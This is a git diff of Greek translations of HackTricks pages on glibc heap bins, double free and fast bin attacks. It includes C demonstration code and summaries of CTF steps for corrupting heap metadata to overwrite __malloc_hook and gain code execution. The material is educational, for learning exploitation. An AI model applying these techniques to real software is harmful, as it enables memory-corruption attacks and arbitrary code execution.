Σημειώστε πώς εκχωρούμε και απελευθερώνουμε 9 τμήματα του ίδιου μεγέθους έτσι ώστε **να γεμίσουν το tcache** και το όγδοο να αποθηκευτεί στον unsorted κάδο επειδή είναι **πολύ μεγάλο για το fastbin** και το ένατο δεν είναι ελεύθερο οπότε το ένατο και το όγδοο **δεν συγχωνεύονται με το top chunk**. Στη συνέχεια εκχωρούμε ένα μεγαλύτερο τμήμα μεγέθους 0x110 το οποίο κάνει **το τμήμα στον unsorted κάδο να πάει στον small κάδο**.
Σημειώστε πώς εκχωρούμε και απελευθερώνουμε 9 τμήματα με τον ίδιο μέγεθος έτσι ώστε **να γεμίσει το tcache** και το όγδοο αποθηκεύεται στον unsorted κάδο επειδή είναι **πολύ μεγάλο για το fastbin** και το ένατο δεν είναι ελεύθερο, έτσι το όγδοο και το ένατο **δεν συγχωνεύονται με το top chunk**. Στη συνέχεια εκχωρούμε ένα μεγαλύτερο τμήμα μεγέθους 0x110 το οποίο κάνει **το τμήμα στον unsorted κάδο να πάει στον small κάδο**.
Μεταγλωττίστε το και αποσφαλματώστε το με ένα σημείο αναμονής στον κώδικα `ret` από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι ο tcache κάδος είναι γεμάτος και ένα τμήμα βρίσκεται στον small κάδο:
Μεταγλωττίστε το και αποσφαλματώστε το με ένα σημείο διακοπής στον κώδικα `ret` από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι ο tcache κάδος είναι γεμάτος και ένα τμήμα βρίσκεται στον small κάδο:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -398,11 +399,11 @@ Fastbins[idx=6, size=0x80] 0x00
### Μεγάλοι κάδοι
Αντίθετα με τους μικρούς κάδους, οι οποίοι διαχειρίζονται κομμάτια με σταθερούς μεγέθη, **κάθε μεγάλος κάδος χειρίζεται ένα εύρος μεγεθών κομματιών**. Αυτό είναι πιο ευέλικτο, επιτρέποντας στο σύστημα να προσαρμόζεται σε **διάφορα μεγέθη** χωρίς την ανάγκη για έναν ξεχωριστό κάδο για κάθε μέγεθος.
Αντίθετα με τους μικρούς κάδους, οι οποίοι διαχειρίζονται κομμάτια με σταθερούς μεγέθη, **κάθε μεγάλος κάδος χειρίζεται ένα εύρος μεγεθών κομματιών**. Αυτό είναι πιο ευέλικτο, επιτρέποντας στο σύστημα να φιλοξενεί **διάφορα μεγέθη** χωρίς την ανάγκη για έναν ξεχωριστό κάδο για κάθε μέγεθος.
Σε έναν διαχειριστή μνήμης, οι μεγάλοι κάδοι ξεκινούν από το σημείο που τελειώνουν οι μικροί κάδοι. Τα εύρη των μεγάλων κάδων μεγαλώνουν σταδιακά, πράγμα που σημαίνει ότι ο πρώτος κάδος μπορεί να καλύπτει κομμάτια από 512 έως 576 bytes, ενώ ο επόμενος καλύπτει από 576 έως 640 bytes. Αυτό το πρότυπο συνεχίζεται, με τον μεγαλύτερο κάδο να περιέχει όλα τα κομμάτια άνω του 1MB.
Σε έναν διαχειριστή μνήμης, οι μεγάλοι κάδοι ξεκινούν από το σημείο που τελειώνουν οι μικροί κάδοι. Τα εύρη των μεγάλων κάδων μεγαλώνουν σταδιακά, πράγμα που σημαίνει ότι ο πρώτος κάδος μπορεί να καλύπτει κομμάτια από 512 έως 576 bytes, ενώ ο επόμενος καλύπτει από 576 έως 640 bytes. Αυτό το πρότυπο συνεχίζεται, με τον μεγαλύτερο κάδο να περιέχει όλα τα κομμάτια άνω των 1MB.
Οι μεγάλοι κάδοι είναι πιο αργοί στη λειτουργία σε σύγκριση με τους μικρούς κάδους επειδή πρέπει **να ταξινομήσουν και να αναζητήσουν μέσω μιας λίστας με διαφορετικά μεγέθη κομματιών για να βρουν την καλύτερη ταιριάστηκη** για μια διάθεση. Όταν ένα κομμάτι εισάγεται σε έναν μεγάλο κάδο, πρέπει να ταξινομηθεί, και όταν δεσμεύεται μνήμη, το σύστημα πρέπει να βρει το σωστό κομμάτι. Αυτή η επιπλέον εργασία τους καθιστά **πιο αργούς**, αλλά επειδή οι μεγάλες δεσμεύσεις είναι λιγότερο συνηθισμένες από τις μικρές, είναι μια αποδεκτή ανταλλαγή.
Οι μεγάλοι κάδοι είναι πιο αργοί στη λειτουργία σε σύγκριση με τους μικρούς κάδους επειδή πρέπει **να ταξινομήσουν και να αναζητήσουν μέσω μιας λίστας με διαφορετικά μεγέθη κομματιών για να βρουν την καλύτερη ταιριάστηκη** για μια δέσμευση. Όταν ένα κομμάτι εισάγεται σε έναν μεγάλο κάδο, πρέπει να ταξινομηθεί, και όταν δεσμεύεται μνήμη, το σύστημα πρέπει να βρει το σωστό κομμάτι. Αυτή η επιπλέον εργασία τους καθιστά **πιο αργούς**, αλλά αφού οι μεγάλες δεσμεύσεις είναι λιγότερο συνηθισμένες από τις μικρές, είναι μια αποδεκτή ανταλλαγή.
Υπάρχουν:
@ -472,9 +473,9 @@ chunks[0] = malloc(0x2000);
return 0;
}
```
Πραγματοποιούνται 2 μεγάλες δεσμεύσεις μνήμης, στη συνέχεια μια από αυτές απελευθερώνεται (τοποθετώντας τη στον unsorted κάδο) και γίνεται μια μεγαλύτερη δέσμευση μνήμης (μετακινώντας την ελεύθερη στοιχείο από τον unsorted κάδο στον large κάδο).
Πραγματοποιούνται 2 μεγάλες δεσμεύσεις μνήμης, στη συνέχεια μια από αυτές απελευθερώνεται (τοποθετώντας τη στον unsorted κάδο) και γίνεται μια μεγαλύτερη δέσμευση μνήμης (μετακινώντας την ελεύθερη στοιχειώδη από τον unsorted κάδο στον μεγάλο κάδο).
Μεταγλωττίστε το και αποσφαλματώστε το με ένα σημείο διακοπής στον κώδικα `ret` από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι ο tcache κάδος είναι γεμάτος και ένα κομμάτι βρίσκεται στον large κάδο:
Μεταγλωττίστε το και αποσφαλματώστε το με ένα σημείο αναμονής στην εντολή `ret` από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι ο tcache κάδος είναι γεμάτος και ένα κομμάτι βρίσκεται στον μεγάλο κάδο:
```bash
gef➤ heap bin
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -523,14 +524,14 @@ the 2 preceding words to be zero during this interval as well.)
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M))
```
Βασικά, αυτός είναι ένας τμήματος που περιέχει όλο το τρέχον σωρό. Όταν γίνεται ένα malloc, αν δεν υπάρχει κάποιο διαθέσιμο ελεύθερο τμήμα για χρήση, αυτό το κορυφαίο τμήμα θα μειώνει το μέγεθός του δίνοντας τον απαραίτητο χώρο.\
Ο δείκτης προς το Κορυφαίο Τμήμα αποθηκεύεται στη δομή `malloc_state`.
Βασικά, αυτό είναι ένα τμήμα που περιέχει όλο το διαθέσιμο σωρό. Όταν γίνεται μια κλήση στη συνάρτηση `malloc`, αν δεν υπάρχει κάποιο διαθέσιμο ελεύθερο τμήμα για χρήση, το τμήμα κορυφής θα μειώνει το μέγεθός του παρέχοντας τον απαραίτητο χώρο.\
Ο δείκτης προς το Τμήμα Κορυφής αποθηκεύεται στη δομή `malloc_state`.
Επιπλέον, στην αρχή, είναι δυνατόν να χρησιμοποιηθεί το μη ταξινομημένο τμήμα ως κορυφαίο τμήμα.
Επιπλέον, στην αρχή, είναι δυνατόν να χρησιμοποιηθεί το τμήμα αταξινόμητων ως τμήμα κορυφής.
<details>
<summary>Παρατηρήστε το παράδειγμα του Κορυφαίου Τμήματος</summary>
<summary>Παρατήρηση παραδείγματος Τμήματος Κορυφής</summary>
```c
#include <stdlib.h>
#include <stdio.h>
@ -544,7 +545,7 @@ gets(chunk);
return 0;
}
```
Μετά τη μεταγλώττιση και αποσφαλμάτωσή του με ένα σημείο διακοπής στον κώδικα `ret` του `main`, είδα ότι το malloc επέστρεψε τη διεύθυνση `0xaaaaaaac12a0` και αυτά είναι τα chunks:
Μετά τη μεταγλώττιση και αποσφαλμάτωσή του με ένα σημείο διακοπής στον κώδικα `ret` της `main`, είδα ότι το malloc επέστρεψε τη διεύθυνση `0xaaaaaaac12a0` και αυτά είναι τα chunks:
```bash
gef➤ heap chunks
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
@ -586,9 +587,9 @@ gef➤ x/8wx 0xaaaaaaac1ae0 - 16
[free.md](heap-memory-functions/free.md)
{% endcontent-ref %}
## Έλεγχοι Ασφαλείας Συναρτήσεων Σωρού
## Έλεγχοι Ασφαλείας Συναρτήσεων Heap
Ελέγξτε τους έλεγχους ασφαλείας που πραγματοποιούνται από τις συναρτήσεις που χρησιμοποιούνται εκτενώς στο σωρό στο:
Ελέγξτε τους έλεγχους ασφαλείας που πραγματοποιούνται από τις συναρτήσεις που χρησιμοποιούνται εκτενώς στο heap στο:
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
@ -601,16 +602,17 @@ gef➤ x/8wx 0xaaaaaaac1ae0 - 16
* [https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions](https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του **HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 στην ομάδα [**Discord**](https://discord.gg/hRep4RUj7f) ή στην ομάδα [**telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Διπλός Ελεύθερος
# Διπλό Δωρεάν
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>
{% endhint %}
## Βασικές Πληροφορίες
Αν ελευθερώσετε ένα τμήμα μνήμης περισσότερες από μία φορές, μπορεί να δημιουργήσετε προβλήματα στα δεδομένα του διαχειριστή μνήμης και να ανοίξετε την πόρτα σε επιθέσεις. Εδώ είναι πώς συμβαίνει: όταν ελευθερώνετε ένα τμήμα μνήμης, επιστρέφει σε μια λίστα ελεύθερων τμημάτων (π.χ. το "fast bin"). Αν ελευθερώσετε το ίδιο τμήμα δύο φορές συνεχόμενα, ο διαχειριστής ανιχνεύει αυτό και εκτοξεύει ένα σφάλμα. Αλλά αν **ελευθερώσετε ένα άλλο τμήμα μεταξύ τους, ο έλεγχος διπλής ελευθέρωσης παρακάμπτεται**, προκαλώντας διαφθορά.
Εάν απελευθερώσετε ένα τμήμα μνήμης περισσότερες από μία φορές, μπορεί να δημιουργήσετε προβλήματα στα δεδομένα του διαχειριστή μνήμης και να ανοίξετε την πόρτα σε επιθέσεις. Εδώ είναι πώς συμβαίνει: όταν απελευθερώνετε ένα τμήμα μνήμης, επιστρέφει σε μια λίστα ελεύθερων τμημάτων (π.χ. το "fast bin"). Εάν απελευθερώσετε το ίδιο τμήμα δύο φορές συνεχόμενα, ο διαχειριστής ανιχνεύει αυτό και εκτοξεύει ένα σφάλμα. Αλλά αν **απελευθερώσετε ένα άλλο τμήμα μεταξύ τους, ο έλεγχος διπλής δωρεάν διασχίζεται**, προκαλώντας διαφθορά.
Τώρα, όταν ζητάτε νέα μνήμη (χρησιμοποιώντας `malloc`), ο διαχειριστής μπορεί να σας δώσει ένα **τμήμα που έχει ελευθερωθεί δύο φορές**. Αυτό μπορεί να οδηγήσει σε δύο διαφορετικούς δείκτες που δείχνουν στην ίδια τοποθεσία μνήμης. Αν ένας επιτιθέμενος ελέγχει έναν από αυτούς τους δείκτες, μπορεί να αλλάξει το περιεχόμενο αυτής της μνήμης, το οποίο μπορεί να προκαλέσει θέματα ασφαλείας ή ακόμα και να τους επιτρέψει να εκτελέσουν κώδικα.
Τώρα, όταν ζητάτε νέα μνήμη (χρησιμοποιώντας το `malloc`), ο διαχειριστής μπορεί να σας δώσει ένα **τμήμα που έχει απελευθερωθεί δύο φορές**. Αυτό μπορεί να οδηγήσει σε δύο διαφορετικούς δείκτες που δείχνουν στην ίδια τοποθεσία μνήμης. Εάν ένας επιτιθέμενος ελέγχει έναν από αυτούς τους δείκτες, μπορεί να αλλάξει το περιεχόμενο αυτής της μνήμης, το οποίο μπορεί να προκαλέσει θέματα ασφαλείας ή ακόμα και να τους επιτρέψει να εκτελέσουν κώδικα.
Παράδειγμα:
```c
@ -92,7 +93,7 @@ printf("i2: %p\n", (void *)i1);
return 0;
}
```
Σε αυτό το παράδειγμα, μετά τον γέμισμα του tcache με αρκετά ελεύθερα τμήματα (7), ο κώδικας **ελευθερώνει το τμήμα `h`, στη συνέχεια το τμήμα `i`, και έπειτα ξανά το `h`, προκαλώντας ένα διπλό free** (επίσης γνωστό ως Fast Bin dup). Αυτό ανοίγει τη δυνατότητα λήψης επικαλυπτόμενων διευθύνσεων μνήμης κατά την επαναδιάθεση, που σημαίνει ότι δύο ή περισσότεροι δείκτες μπορεί να δείχνουν στην ίδια τοποθεσία μνήμης. Η διαμόρφωση δεδομένων μέσω ενός δείκτη μπορεί στη συνέχεια να επηρεάσει τον άλλο, δημιουργώντας ένα κρίσιμο κίνδυνο ασφάλειας και δυνατότητα εκμετάλλευσης.
Σε αυτό το παράδειγμα, μετά τον γέμισμα του tcache με αρκετά ελεύθερα κομμάτια (7), ο κώδικας **ελευθερώνει το κομμάτι `h`, στη συνέχεια το κομμάτι `i`, και έπειτα ξανά το `h`, προκαλώντας ένα διπλό free** (επίσης γνωστό ως Fast Bin dup). Αυτό ανοίγει τη δυνατότητα λήψης επικαλυπτόμενων διευθύνσεων μνήμης κατά την επαναδιάθεση, που σημαίνει ότι δύο ή περισσότεροι δείκτες μπορεί να δείχνουν στην ίδια τοποθεσία μνήμης. Η διαμόρφωση δεδομένων μέσω ενός δείκτη μπορεί να επηρεάσει τον άλλο, δημιουργώντας ένα κρίσιμο κίνδυνο ασφάλειας και δυνατότητα εκμετάλλευσης.
Εκτελώντας το, παρατηρούμε πώς **οι `i1` και `i2` έλαβαν την ίδια διεύθυνση**:
@ -122,33 +123,19 @@ h1: 0xaaab0f0c2380
## Παραδείγματα
* [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
* Μπορούμε να εκχωρήσουμε μόνο τμήματα μεγέθους Fast-Bin εκτός από το μέγεθος `0x70`, το οποίο αποτρέπει την συνήθη αντικατάσταση του `__malloc_hook`.
* Μπορούμε να εκχωρήσουμε μόνο κομμάτια μεγέθους Fast-Bin εκτός από το μέγεθος `0x70`, το οποίο αποτρέπει την συνήθη αντικατάσταση του `__malloc_hook`.
* Αντ' αυτού, χρησιμοποιούμε διευθύνσεις PIE που ξεκινούν με `0x56` ως στόχο για Fast Bin dup (1/2 πιθανότητα).
* Ένα μέρος όπου οι διευθύνσεις PIE αποθηκεύονται είναι στο `main_arena`, το οποίο βρίσκεται μέσα στο Glibc και κοντά στο `__malloc_hook`.
* Στοχεύουμε σε ένα συγκεκριμένο μετατροπέα του `main_arena` για να εκχωρήσουμε ένα τμήμα εκεί και να συνεχίσουμε τις εκχωρήσεις μέχρι να φτάσουμε το `__malloc_hook` για να εκτελέσουμε κώδικα.
* Στοχεύουμε σε ένα συγκεκριμένο μετατροπέα του `main_arena` για να εκχωρήσουμε ένα κομμάτι εκεί και να συνεχίσουμε τις εκχωρήσεις μέχρι να φτάσουμε το `__malloc_hook` για να εκτελέσουμε κώδικα.
* [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
* Χρησιμοποιώντας Tcache bins και έκκληση μηδενικού byte, μπορούμε να επιτύχουμε μια κατάσταση διπλού ελεύθερου:
* Εκχωρούμε τρία τμήματα μεγέθους `0x110` (`A`, `B`, `C`)
* Απελευθερώνουμε το `B`
* Απελευθερώνουμε το `A` και εκχωρούμε ξανά για να χρησιμοποιήσουμε την έκκληση μηδενικού byte
* Τώρα το πεδίο μεγέθους του `B` είναι `0x100`, αντί για `0x111`, οπότε μπορούμε να το απελευθερώσουμε ξανά
* Εκχωρούμε τρία κομμάτια μεγέθους `0x110` (`A`, `B`, `C`)
* Ελευθερώνουμε το `B`
* Ελευθερώνουμε το `A` και εκχωρούμε ξανά για να χρησιμοποιήσουμε την έκκληση μηδενικού byte
* Τώρα το πεδίο μεγέθους του `B` είναι `0x100`, αντί για `0x111`, οπότε μπορούμε να το ελευθερώσουμε ξανά
* Έχουμε ένα Tcache-bin μεγέθους `0x110` και ένα μεγέθους `0x100` που δείχνουν στην ίδια διεύθυνση. Έτσι έχουμε ένα διπλό free.
* Εκμεταλλευόμαστε το διπλό free χρησιμοποιώντας [Tcache poisoning](tcache-bin-attack.md)
## Αναφορές
* [https://heap-exploitation.dhavalkapil.com/attacks/double\_free](https://heap-exploitation.dhavalkapil.com/attacks/double\_free)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -1,18 +1,19 @@
# Γρήγορη Επίθεση Fast Bin
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Βασικές Πληροφορίες
@ -22,7 +23,7 @@
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
Επειδή το γρήγορο bin είναι μια λίστα με μονό κρίκο, υπάρχουν πολύ λιγότερες προστασίες από άλλα bins και απλά **η τροποποίηση μιας διεύθυνσης σε ένα ελεύθερο fast bin** κομμάτι είναι αρκετή για να **διατεθεί αργότερα ένα κομμάτι σε οποιαδήποτε διεύθυνση μνήμης**.
Επειδή το γρήγορο bin είναι μια λίστα με μονό κρίκο, υπάρχουν πολύ λιγότερες προστασίες από άλλα bins και απλά **η τροποποίηση μιας διεύθυνσης σε ένα ελεύθερο fast bin** τμήμα είναι αρκετή για να μπορέσετε να **εκχωρήσετε αργότερα ένα τμήμα σε οποιαδήποτε διεύθυνση μνήμης**.
Ως περίληψη:
@ -134,39 +135,38 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
}
```
{% hint style="danger" %}
Εάν είναι δυνατόν να αντικατασταθεί η τιμή της καθολικής μεταβλητής **`global_max_fast`** με ένα μεγάλο αριθμό, αυτό επιτρέπει τη δημιουργία γρήγορων τμημάτων fast bin με μεγαλύτερα μεγέθη, ενδεχομένως επιτρέποντας την εκτέλεση επιθέσεων fast bin σε σενάρια όπου δεν ήταν δυνατόν προηγουμένως. Αυτή η κατάσταση είναι χρήσιμη στο πλαίσιο της [επίθεσης μεγάλου τμήματος](large-bin-attack.md) και της [επίθεσης μη ταξινομημένου τμήματος](unsorted-bin-attack.md)
Εάν είναι δυνατόν να αντικατασταθεί η τιμή της καθολικής μεταβλητής **`global_max_fast`** με ένα μεγάλο αριθμό, αυτό επιτρέπει τη δημιουργία γρήγορων τμημάτων fast bin με μεγαλύτερα μεγέθη, πιθανώς επιτρέποντας την εκτέλεση επιθέσεων fast bin σε σενάρια όπου δεν ήταν δυνατόν προηγουμένως. Αυτή η κατάσταση είναι χρήσιμη στο πλαίσιο της [επίθεσης μεγάλου τμήματος](large-bin-attack.md) και της [επίθεσης αταξινόμητου τμήματος](unsorted-bin-attack.md)
{% endhint %}
## Παραδείγματα
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:**
* Είναι δυνατόν να δεσμεύσετε τμήματα, να τα απελευθερώσετε, να διαβάσετε το περιεχόμενό τους και να τα γεμίσετε (με μια ευπάθεια υπερχείλισης).
* **Συγχώνευση τμήματος για διαρροή πληροφοριών**: Η τεχνική βασικά είναι να καταχραστείτε την υπερχείλιση για να δημιουργήσετε ένα ψεύτικο `prev_size` ώστε ένα προηγούμενο τμήμα να τοποθετηθεί μέσα σε ένα μεγαλύτερο, έτσι όταν διατίθεται το μεγαλύτερο που περιέχει ένα άλλο τμήμα, είναι δυνατόν να εκτυπωθούν τα δεδομένα του και να διαρρεύσει μια διεύθυνση στο libc (`main_arena+88`).
* **Αντικατάσταση του malloc hook**: Για αυτό, και καταχρηστικά την προηγούμενη κατάσταση επικάλυψης, ήταν δυνατόν να υπάρχουν 2 τμήματα που έδειχναν στην ίδια μνήμη. Συνεπώς, απελευθερώνοντάς τα και τα δύο (απελευθερώνοντας ένα άλλο τμήμα μεταξύ τους για να αποφευχθούν προστασίες), ήταν δυνατόν να υπάρχει το ίδιο τμήμα στο fast bin 2 φορές. Στη συνέχεια, ήταν δυνατόν να το διατεθεί ξανά, να αντικατασταθεί η διεύθυνση του επόμενου τμήματος για να δείχνει λίγο πριν από το `__malloc_hook` (έτσι ώστε να δείχνει σε έναν ακέραιο που το malloc θεωρεί ως μέγεθος ελεύθερο - άλλη παράκαμψη), να το διατεθεί ξανά και στη συνέχεια να διατεθεί ένα άλλο τμήμα που θα λάβει μια διεύθυνση στους malloc hooks.\
